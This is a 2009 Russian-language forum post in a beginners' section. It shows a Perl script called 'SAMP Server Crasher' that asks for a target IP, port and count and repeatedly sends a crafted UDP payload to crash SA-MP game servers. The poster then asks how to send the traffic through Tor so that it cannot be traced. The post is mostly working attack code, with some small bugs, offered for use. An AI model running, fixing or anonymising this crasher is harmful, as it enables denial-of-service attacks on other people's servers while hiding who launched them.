Сейчас на форуме: _MBK_, asfa, Rio (+5 невидимых)

 eXeL@B —› Вопросы новичков —› Программа на Perl
Посл.ответ Сообщение

Ранг: 0.5 (гость)
Активность: 0=0
Статус: Участник

Создано: 09 февраля 2009 18:19
· Личное сообщение · #1

Socket::INET;
print "--------OopsIDied's SAMP Server Crasher----------\n";
print "Enter the host IP.\n";
$owned = <STDIN>;
print "Enter the host port.\n";
$port = <STDIN>;
print "Enter the number of attacks to send.\n";
$limit = <STDIN>;
chomp $limit;
chomp $owned;
chomp $port;
if($owned =~ /64.85.162.42/ || $owned =~ /71.113.132.21/){
print "Sorry, don't want to crash NR or Fackin lol.\n";
exit();
}
$sock=new IO::Socket::INET->new(PeerPort=>$port,
Proto=>'udp',
PeerAddr=>"$owned")||die("Owned");

$attack= qw(I,]E'c@3OC+
3BE!ody6SAMPBE!dii);
$x = 1;
until($x==$limit){
$sock->send($attack);
$sock->send($attack2);
print "Attack $x sent.\n";
$x++;
}

Отсылает пакеты напрямую. Нужно сделать отсылку через tor (127.0.0.1:9050) или подобное. Возможно ли?


 eXeL@B —› Вопросы новичков —› Программа на Perl
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати